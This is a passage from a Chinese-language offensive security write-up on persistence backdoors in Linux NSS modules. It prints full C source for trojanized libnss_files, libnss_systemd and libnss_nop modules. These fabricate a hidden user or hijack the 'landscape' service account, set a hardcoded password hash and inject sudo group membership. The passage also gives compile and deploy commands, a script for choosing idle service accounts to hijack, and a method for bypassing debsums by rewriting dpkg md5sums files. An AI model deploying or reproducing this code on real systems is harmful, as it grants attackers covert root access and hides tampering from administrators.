            └─ 返回 NSS_STATUS_SUCCESS(alice 的真实信息)
应用程序调用 getpwnam("backdoor")
  │
  └─ NSS: passwd: files systemd
       │
       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("backdoor")
            │
            ├─ 木马化模块内部:
            │   1. 检查 "backdoor" == "backdoor"?→ 是
            │   2. 填充伪造的 passwd 结构体(UID=1002, GID=sudo)
            │   3. 返回伪造结果(跳过原始模块调用)
            │
            └─ 返回 NSS_STATUS_SUCCESS(backdoor 的伪造信息)

完整代码如下(覆盖 passwd、group、shadow):

#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<dlfcn.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_UID   1002
#define BACKDOOR_GID   1002
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID       27
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/home/backdoor") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_files_getpwnam_r (constchar *name,
                       struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_files_getpwnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_getpwuid_r (uid_t uid,
                       struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid == BACKDOOR_UID)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_files_getpwuid_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(uid, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, gid_t,
longint *, longint *,
gid_t **, longintint *)
;
    orig = dlsym(orig_handle, "_nss_files_initgroups_dyn");
enum nss_status status = NSS_STATUS_NOTFOUND;
if (orig)
        status = orig(user, group, start, size, groups, limit, errnop);
if (strcmp(user, BACKDOOR_USER) == 0)
    {
gid_t extra[] = { BACKDOOR_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
        {
if (*start >= *size)
            {
                *size *= 2;
                *groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
            }
            (*groups)[*start] = extra[i];
            *start += 1;
        }
return NSS_STATUS_SUCCESS;
    }
return status;
}
enum nss_status
_nss_files_getspnam_r (constchar *name,
                       struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 512)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
char *p = buffer;
        result->sp_namp = p;
        p = stpcpy(p, BACKDOOR_USER) + 1;
        result->sp_pwdp = p;
        p = stpcpy(p, BACKDOOR_HASH) + 1;
        result->sp_lstchg = 20000;
        result->sp_min = 0;
        result->sp_max = 99999;
        result->sp_warn = 7;
        result->sp_inact = -1;
        result->sp_expire = -1;
        result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_files_getspnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}

编译、部署:

gcc -shared -fPIC -o libnss_files.so.2.trojan nss_files_trojan.c -ldl
# 备份原始模块
sudo mv /usr/lib/x86_64-linux-gnu/libnss_files.so.2 \
        /usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig
# 部署木马化模块
sudo mv libnss_files.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_files.so.2

然而,测试结果:

后门没有生效。

5.2 失败原因分析

用 LD_DEBUG 跟踪 NSS 模块加载过程:

LD_DEBUG=files getent passwd test 2>&1 | grep -i libnss
# test 是 /etc/passwd 中存在的用户

libnss_files.so.2 根本没有被加载!原因在 0x03 的源码分析中已经提到——nss_module.c 第 170-176 行:

if (strcmp(module->name, "files") == 0)
return module_load_nss_files(module);   // 内置绑定,不走 dlopen
if (strcmp(module->name, "dns") == 0)
return module_load_nss_dns(module);     // 内置绑定,不走 dlopen

files 和 dns 是 glibc 的内置模块,不会通过 dlopen() 加载 libnss_files.so.2 无论怎么替换这个文件,glibc 都不会读它。

这是一个关键的教训:不是所有 libnss_*.so.2 都会被 dlopen 加载。 只有非内置的第三方模块(如 systemdldapsss 等)才走 dlopen 路径。

5.3 第二次尝试:替换 libnss_systemd.so.2(成功)

既然 files 不走 dlopen,那 nsswitch.conf 中的 systemd 数据源呢?

先用 LD_DEBUG 确认 libnss_systemd.so.2 是否真的被 dlopen 加载。注意,必须查询一个 /etc/passwd 中不存在的用户——因为 NSS 是按顺序查询的,如果 files(内置模块)已经找到了,就不会继续加载 systemd 模块:

LD_DEBUG=files getent passwd nonexistent_user 2>&1 | grep libnss

libnss_systemd.so.2 确实被 dlopen 加载了。这意味着我们可以用与 5.1 相同的包装(wrapper)方式来替换它。

整体流程与 5.1 类似,但函数名从 _nss_files_* 改为 _nss_systemd_*,原始模块路径也相应调整:

应用程序调用 getpwnam("alice")
  │
  └─ NSS: passwd: files systemd
       │
       ├─ files(内置模块):查找 /etc/passwd → 找到 alice → 返回
       │
       └─ (无需继续)返回 NSS_STATUS_SUCCESS
应用程序调用 getpwnam("backdoor")
  │
  └─ NSS: passwd: files systemd
       │
       ├─ files(内置模块):查找 /etc/passwd → 未找到 → 返回 NOTFOUND
       │
       └─ 尝试调用 libnss_systemd.so.2 中的 _nss_systemd_getpwnam_r("backdoor")
            │
            ├─ 木马化模块内部:
            │   1. 检查 "backdoor" == "backdoor"?→ 是
            │   2. 填充伪造的 passwd 结构体(UID=1002, GID=sudo)
            │   3. 返回伪造结果(跳过原始模块调用)
            │
            └─ 返回 NSS_STATUS_SUCCESS(backdoor 的伪造信息)

步骤一:编写木马化模块源代码

创建 nss_systemd_trojan.c

#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<dlfcn.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_UID   1002
#define BACKDOOR_GID   1002
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID       27
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/home/backdoor") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_systemd_getpwnam_r (constchar *name,
                         struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getpwnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(name, result, buffer, buflen, errnop);
}
enum nss_status
_nss_systemd_getpwuid_r (uid_t uid,
                         struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid == BACKDOOR_UID)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getpwuid_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(uid, result, buffer, buflen, errnop);
}
enum nss_status
_nss_systemd_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, gid_t,
longint *, longint *,
gid_t **, longintint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_initgroups_dyn");
enum nss_status status = NSS_STATUS_NOTFOUND;
if (orig)
        status = orig(user, group, start, size, groups, limit, errnop);
if (strcmp(user, BACKDOOR_USER) == 0)
    {
gid_t extra[] = { BACKDOOR_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
        {
if (*start >= *size)
            {
                *size *= 2;
                *groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
            }
            (*groups)[*start] = extra[i];
            *start += 1;
        }
return NSS_STATUS_SUCCESS;
    }
return status;
}
enum nss_status
_nss_systemd_getspnam_r (constchar *name,
                         struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 512)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
char *p = buffer;
        result->sp_namp = p;
        p = stpcpy(p, BACKDOOR_USER) + 1;
        result->sp_pwdp = p;
        p = stpcpy(p, BACKDOOR_HASH) + 1;
        result->sp_lstchg = 20000;
        result->sp_min = 0;
        result->sp_max = 99999;
        result->sp_warn = 7;
        result->sp_inact = -1;
        result->sp_expire = -1;
        result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getspnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(name, result, buffer, buflen, errnop);
}

步骤二:编译木马化模块

gcc -shared -fPIC -o libnss_systemd.so.2.trojan nss_systemd_trojan.c -ldl

步骤三:备份原始模块

sudo mv /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 \
        /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig

注意:使用 mv 而不是 cp 来替换。cp 会先截断目标文件再写入,如果此时有进程正在使用该 .so,会导致 Bus Error 崩溃。mv 是原子操作(同一个文件系统上是 rename),不存在截断风险。

步骤四:部署木马化模块

sudo mv libnss_systemd.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2

步骤五:验证后门效果

首先确认 nsswitch.conf 未被修改,没有任何可疑的数据源:

cat /etc/nsswitch.conf | grep passwd

然后测试后门用户是否被识别:

后门完全生效。 nsswitch.conf 未修改,无新增 .so 文件名(libnss_systemd.so.2 文件名不变,完全可以重写该so并重新编译),SSH 登录 + sudo 提权全部正常。

5.4 debsums 检测

debsums -a -c

请忽略 proxychains 的配置文件的更改,与本次无关。 可以看到,这次修改的 so 能被 debsums 发现

5.5 与 0x04 方式的对比

对比项

0x04 添加数据源

0x05 替换合法模块

修改 nsswitch.conf

✅ 需要

❌ 不需要

新增 .so 文件

✅ libnss_nop.so.2

❌ 文件名不变(但多一个 .orig 备份)

检查 nsswitch.conf 可发现

✅ 容易

❌ 看不出异常

ls

 库目录可发现

✅ 多出可疑文件

⚠️ 文件名一致,但大小/哈希不同

debsums -a -c

❌ 无法检测(详见 4.4 节)

✅ 能检测到哈希变化(详见 5.4 节)

文件完整性检查(AIDE/Tripwire)

⚠️ 取决于基线是否覆盖新增路径

⚠️ 可发现(已注册文件的哈希变化)

系统更新覆盖风险

❌ 不受影响

⚠️ libnss-systemd 更新会覆盖木马化模块

实现复杂度

中(需要包装原始模块)

兼容性风险

⚠️ 需确认目标模块走 dlopen 路径

核心结论:0x05 比 0x04 更隐蔽,但有两个需要注意的点:

  1. 不是所有 NSS 模块都能替换files 和 dns 是 glibc 内置模块,不走 dlopen,替换无效。必须选择第三方模块(如 systemdldapsss 等)。

  2. 共同弱点是文件完整性检查——无论怎么伪装,.so 文件的哈希值一定会变。

0x06 精细化后门探索

0x04 和 0x05 实现了两种基础后门方式,但在实战中还存在不少问题:后门用户名太明显、密码硬编码、文件完整性检查暴露、系统更新覆盖等。本章将对这些问题逐一进行精细化改进,每个小节都有具体的代码和实验验证。

6.1 NSS 热加载机制验证

在实战中,后门的"生效/失效"时机非常关键。本节通过三个实验,验证 NSS 模块在不同操作下的行为。

实验 1:删除 .so 文件,保留 nsswitch.conf

实验假设.so 文件被删除后,已运行的进程(如 sshd)是否仍能解析后门用户?

结论:删除 .so 后,新进程立即失效。但注意,已运行且已 dlopen 过该模块的进程(如长期运行的 daemon),其内存中仍持有模块引用,不会受影响。对于 SSH 而言,已建立的 SSH 会话(sshd fork 出的子进程已加载模块到内存)仍能正常使用后门用户身份,但新 SSH 连接将无法认证后门用户(新子进程 dlopen 失败)。

原理:glibc 通过 __libc_dlopen() 加载 NSS 模块后,即使磁盘文件被删除,进程的内存映射仍然有效。但新进程无法找到 .so 文件,dlopen 返回 NULL,模块加载失败。

实验 2:修改 nsswitch.conf,保留 .so 文件

实验假设:修改 nsswitch.conf 后,是否需要重启进程才能生效?

结论:修改 nsswitch.conf 后,新进程立即生效,无需重启任何服务。

原理:glibc 在每次 NSS 查询时,会检查 nsswitch.conf 文件的 mtime 和 size 是否变化。nss_database.c 中的 nss_database_check_reload_and_get() 函数实现了这一机制:

// nss_database.c 第 410-421 行
structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
// 配置未变化,直接使用缓存
    *result = local->data.services[database_index];
returntrue;
}
// 配置已变化,重新加载
bool ok = nss_database_reload (&staging, &initial);

实验 3:覆盖 .so 文件

实验假设:用新版木马覆盖旧版时,已运行进程和新进程分别使用哪个版本?

结论:覆盖 .so 后,新进程立即使用新版。已运行且已加载旧版的进程不受影响(内存中持有旧版映射)。

原理:Linux 的 dlopen 使用内存映射(mmap)加载 .so。glibc 的 NSS 模块加载机制(__libc_dlopen)虽然未显式传入 RTLD_NODELETE 标志,但动态链接器会在加载后隐式将 NSS 模块标记为 nodelete(LD_DEBUG 输出中可见 activating NODELETE),使其在进程生命周期内不会被卸载。但新进程会重新 dlopen,加载磁盘上的最新版本。

热加载行为总结

操作

已运行进程

新进程

删除 .so 文件

✅ 不受影响(内存映射)

❌ 模块加载失败

修改 nsswitch.conf

⚠️ 下次查询时重载配置

✅ 立即使用新配置

覆盖 .so 文件

⚠️ 不受影响(NODELETE)

✅ 加载新版

实战意义

  • 应急清除:只需移除 .so 或修改 nsswitch.conf,新进程立即不受影响,但已建立的 SSH 会话可能仍有效

  • 隐蔽更新:直接覆盖 .so 文件即可更新后门,新连接自动使用新版

6.2 绕过 debsums 检测

在 0x05 中,我们用 debsums -a -c 验证了替换 .so 文件的后门能被检测到(0x04 方式则完全不被 debsums 发现,详见 4.4 节)。debsums 的原理很简单——它将磁盘上文件的 MD5 哈希与包管理器数据库中记录的原始哈希进行对比。

debsums 的工作原理

debsums -a -c

这个命令做了两件事:

  1. 读取 /var/lib/dpkg/info/<包名>.md5sums 文件,获取每个文件安装时的 MD5 哈希

  2. 计算磁盘上对应文件的当前 MD5,两者不一致则报告

查看 libnss-systemd 包的校验数据:

cat /var/lib/dpkg/info/libnss-systemd:amd64.md5sums

对比当前木马模块的哈希,哈希不一致,debsums 自然会报警。

绕过方法:篡改 md5sums 文件

既然 debsums 是从本地文件读取校验数据,那我们只需要将 md5sums 文件中的哈希值替换为木马模块的实际哈希:

# 获取木马模块的 MD5
md5sum /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
# 替换 md5sums 文件中的对应条目
/var/lib/dpkg/info/libnss-systemd:amd64.md5sums

验证:

debsums -a -c

补充:0x04 vs 0x05 的 debsums 检测差异

回顾 0x04 的 debsums 测试(4.4 节)——debsums -a -c没有报告任何异常。因为 nsswitch.conf 不属于任何包,libnss_nop.so.2 也不属于任何包,两者都不在 debsums 的校验范围内。

这意味着:

  • 0x04 方式:debsums完全检测不到nsswitch.conf 和新增 .so 都不属于任何包)

  • 0x05 方式:debsums 能发现 libnss_systemd.so.2 的哈希变化(属于 libnss-systemd 包),但篡改 md5sums 后即可绕过

局限性

这种绕过方法只对 debsums 有效。更专业的文件完整性工具(如 AIDE、Tripwire、OSSEC)使用独立的数据库存储校验信息,且数据库本身有保护机制,篡改 md5sums 文件无法绕过它们。

6.3 复用已有服务账户

前面 0x04 和 0x05 都是创建一个新用户 backdoor,这种方式有一个明显的风险,当在日志中发现 backdoor 这样的系统中不存在的账户时,有些运维和安全人员会比较警觉,能够通过 getent passwd backdoor(精确查询)能查到后门用户,而 cat /etc/passwd | grep backdoor 找不到,两者对比就能发现异常。

更隐蔽的思路是:复用系统已有的服务账户。这些账户已经存在于 /etc/passwd 中,登录时不会产生"未知用户"的异常日志。

为什么之前的方案做不到?

0x04 和 0x05 中,后门数据源(nopsystemd)都排在 files后面

passwd:    files systemd
shadow:    files systemd

对于 /etc/passwd 中已有用户,files 内置模块直接命中并返回 SUCCESS,后续数据源永远不会被调用。

解决方法:把我们的模块排在 files 前面。

passwd:    nop files systemd
shadow:    nop files systemd

这样 NSS 查询链变成:

getpwnam("landscape")
  │
  ├─ nop → 我们返回修改后的数据(shell=/bin/bash + 密码)→ SUCCESS → 链停止
  └─ files → 不会被调用
getpwnam("test")  ← 非目标用户
  │
  ├─ nop → 不是目标用户 → NOTFOUND
  │
  └─ files → 在 /etc/passwd 中找到 → SUCCESS → 正常返回,完全不受影响

选择合适的服务账户

不是所有服务账户都适合复用。需要满足以下条件:

  1. 当前没有运行中的进程:如果该账户有活跃进程,修改其 NSS 数据可能导致服务异常

  2. shell 为 /usr/sbin/nologin:原本就是禁止登录的账户,改了 shell 才有意义

  3. 不会在特定时刻被服务启动:某些账户(如 _apt)在 apt 操作时会被临时使用

以下脚本可以自动筛选出合适的服务账户:

#!/bin/bash
# 筛选适合复用的服务账户:无活跃进程 + shell 为 nologin
echo"=== 适合复用的服务账户 ==="
echo""
awk -F: '$3 >= 1 && $3 < 65534 && $7 == "/usr/sbin/nologin" {print $1}' /etc/passwd | whileread user; do
    pids=$(ps -u "$user" -o pid= 2>/dev/null | tr -d ' ')
if [ -z "$pids" ]; then
        uid=$(id -u "$user" 2>/dev/null)
        desc=$(grep "^${user}:" /etc/passwd | cut -d: -f5)
echo"  $user (UID=$uid) - $desc"
fi
done
echo""
echo"=== 有活跃进程的账户(不建议使用)==="
echo""
awk -F: '$3 >= 1 && $3 < 65534 && $7 == "/usr/sbin/nologin" {print $1}' /etc/passwd | whileread user; do
    pids=$(ps -u "$user" -o pid= 2>/dev/null | tr -d ' ')
if [ -n "$pids" ]; then
echo"  $user (pids: $pids)"
fi
done

在目标系统上执行后输出格式:

=== 适合复用的服务账户 ===
  daemon (UID=1) - 
  bin (UID=2) - 
  sys (UID=3) - 
  games (UID=5) - 
  man (UID=6) - 
  lp (UID=7) - 
  mail (UID=8) - 
  news (UID=9) - 
  ...
  tcpdump (UID=105) - 
  landscape (UID=107) - 
  fwupd-refresh (UID=989) - 
  usbmux (UID=108) - 
  sshd (UID=109) - 
=== 有活跃进程的账户(不建议使用)===
  systemd-network (pids: 710)
  systemd-timesync (pids: 732)
  messagebus (pids: 884)
  systemd-resolve (pids: 717)
  polkitd (pids: 892)
  syslog (pids: 921)

推荐选择 landscape(UID=107)— Ubuntu Landscape 管理工具,名字听起来像正常的系统服务,且通常只在后台定时任务中使用。

关键约束:只改 shell 和密码,不改 UID/GID

这是最重要的原则。如果我们修改了 landscape 的 UID/GID:

  • 已运行的进程身份由内核 UID 决定,不受 NSS 影响

  • 但服务重启时,systemd 会通过 getpwnam("landscape") 获取 UID

  • 如果我们返回了不同的 UID,服务会以错误的权限启动

因此,我们的模块对 landscape 只修改两个字段:

  • pw_shell:从 /usr/sbin/nologin 改为 /bin/bash

  • sp_pwdp:从 *(无密码)改为后门密码哈希

UID、GID、home 目录全部保持原始值不变。

sudo 权限注入

虽然不能修改 GID,但可以通过 initgroups_dyn 给 landscape 额外注入 sudo 组。Linux 允许一个用户属于多个组,注入额外的 sudo 组不会影响 landscape 服务本身的运行:

initgroups("landscape", 109)
  │
  ├─ nop → 返回 [109, 27(sudo)] → SUCCESS
  ├─ files → 返回 [109] → SUCCESS
  └─ 最终结果:landscape ∈ [109, 27](组合并去重)

实现

首先需要明确一个关键限制:为什么不能用 0x05 的 systemd 包装方式来实现复用服务账户?

passwd: files systemd 中 files 排在 systemd 前面,对 /etc/passwd 中已存在的用户(如 landscape),files 内置模块直接命中并返回 SUCCESS,根本不会走到 systemd。因此,我们必须使用 0x04 的方法——添加独立的 nop 数据源并放在 files 前面,只对目标用户返回覆盖数据,其他用户返回 NOTFOUND。

木马模块的关键逻辑:对目标用户覆盖 shell 和密码,其他字段保持原始值不变:

#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<dlfcn.h>
#define HIJACK_USER    "landscape"
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}
enum nss_status
_nss_systemd_getpwnam_r (constchar *name,
                         struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getpwnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(name, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->pw_name, HIJACK_USER) == 0)
    {
// 只覆盖 shell,其他字段保持原始值
char *shell_ptr = result->pw_shell;
size_t shell_offset = shell_ptr - buffer;
if (shell_offset + strlen("/bin/bash") + 1 <= buflen)
        {
strcpy(shell_ptr, "/bin/bash");
        }
    }
return status;
}
enum nss_status
_nss_systemd_getpwuid_r (uid_t uid,
                         struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getpwuid_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(uid, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->pw_name, HIJACK_USER) == 0)
    {
char *shell_ptr = result->pw_shell;
size_t shell_offset = shell_ptr - buffer;
if (shell_offset + strlen("/bin/bash") + 1 <= buflen)
        {
strcpy(shell_ptr, "/bin/bash");
        }
    }
return status;
}
enum nss_status
_nss_systemd_getspnam_r (constchar *name,
                         struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_tint *)
;
    orig = dlsym(orig_handle, "_nss_systemd_getspnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(name, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->sp_namp, HIJACK_USER) == 0)
    {
// 覆盖密码哈希(原值为 *,表示无密码)
// 需要确保 buffer 有足够空间容纳更长的哈希
char *pwd_ptr = result->sp_pwdp;
size_t needed = strlen(BACKDOOR_HASH) + 1;
size_t available = buflen - (pwd_ptr - buffer);
if (available >= needed)
        {
strcpy(pwd_ptr, BACKDOOR_HASH);
        }
    }
return status;
}

注意:上面展示的 _nss_systemd_* 包装代码仅用于说明"包装原始模块并修改部分字段"的思路,帮助理解后续实际代码中的字段覆盖逻辑。由于 files 内置模块会优先命中已有用户(返回 SUCCESS,NSS 查询链终止),systemd 模块根本没有机会被调用,因此这种包装方式无法用于复用已有用户。实际部署需要使用下面的 _nss_nop_* 独立模块,并将 nop 放在 files 前面。

#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define HIJACK_USER    "landscape"
#define HIJACK_UID     107
#define HIJACK_GID     109
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID       27
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, HIJACK_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = HIJACK_UID;
    result->pw_gid = HIJACK_GID;
    result->pw_gecos = p;
    p = stpcpy(p, HIJACK_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/var/lib/landscape") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if ((int)uid != HIJACK_UID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getpwnam_r(HIJACK_USER, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
gid_t extra[] = { HIJACK_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
    {
if (*start >= *size)
        {
            *size *= 2;
            *groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
        }
        (*groups)[*start] = extra[i];
        *start += 1;
    }
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getspnam_r (constchar *name,
                     struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->sp_namp = p;
    p = stpcpy(p, HIJACK_USER) + 1;
    result->sp_pwdp = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->sp_lstchg = 20000;
    result->sp_min = 0;
    result->sp_max = 99999;
    result->sp_warn = 7;
    result->sp_inact = -1;
    result->sp_expire = -1;
    result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}

部署

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_hijack.c
# 部署模块
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2
